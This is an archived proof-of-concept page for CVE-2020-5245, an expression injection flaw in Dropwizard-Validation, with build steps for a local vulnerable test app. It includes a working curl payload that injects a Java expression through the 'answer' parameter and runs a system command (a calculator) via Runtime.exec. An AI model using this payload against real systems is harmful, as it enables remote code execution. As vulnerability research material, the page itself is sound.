CVE-2020-5245 PoC — Dropwizard-Validation 注入漏洞

Source

https://github.com/LycsHub/CVE-2020-5245

Associated Vulnerability

Title:Dropwizard-Validation 注入漏洞 (CVE-2020-5245)
Description:Dropwizard-Validation 1.3.19之前版本和2.0.2之前版本中的自我验证功能存在注入漏洞。远程攻击者可借助任意Java表达式利用该漏洞在系统上执行任意代码。

Readme

CVE-2020-5245
---

1. Run `mvn clean install` to build your application
1. Start application with `java -jar target/dropwizard-1.0-SNAPSHOT.jar server config.yml`
1. To check that your application is running enter url `http://localhost:8080`


some error in `pom.xml` plugins were not affected reproduce


![](start.png)

## Reproduce
`curl http://localhost:8080/bookService/selfValidatingBeanParam?answer=${%27%27.getClass().forName(%22javax.script.ScriptEngineManager%22).newInstance().getEngineByName(%22JavaScript%22).eval(%22java.lang.Runtime.getRuntime().exec(%27/usr/bin/gnome-calculator%27)%22)}`

File Snapshot


 [4.0K]  /data/pocs/85d74640cf43aa488787c591925f3c02d99445c6
├── [  57]  config.yml
├── [3.8K]  dependency-reduced-pom.xml
├── [ 10K]  dropwizard.iml
├── [5.0K]  pom.xml
├── [ 604]  README.md
├── [4.0K]  src
│   └── [4.0K]  main
│       ├── [4.0K]  java
│       │   └── [4.0K]  com
│       │       └── [4.0K]  moresec
│       │           ├── [4.0K]  control
│       │           │   └── [1.5K]  BookController.java
│       │           ├── [4.0K]  dao
│       │           │   └── [1.1K]  Book.java
│       │           ├── [4.0K]  service
│       │           │   ├── [1.8K]  BookService.java
│       │           │   └── [ 817]  FailingSelfValidation.java
│       │           ├── [ 909]  testApplication.java
│       │           └── [ 300]  testConfiguration.java
│       └── [4.0K]  resources
│           └── [ 200]  banner.txt
└── [ 56K]  start.png

9 directories, 13 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!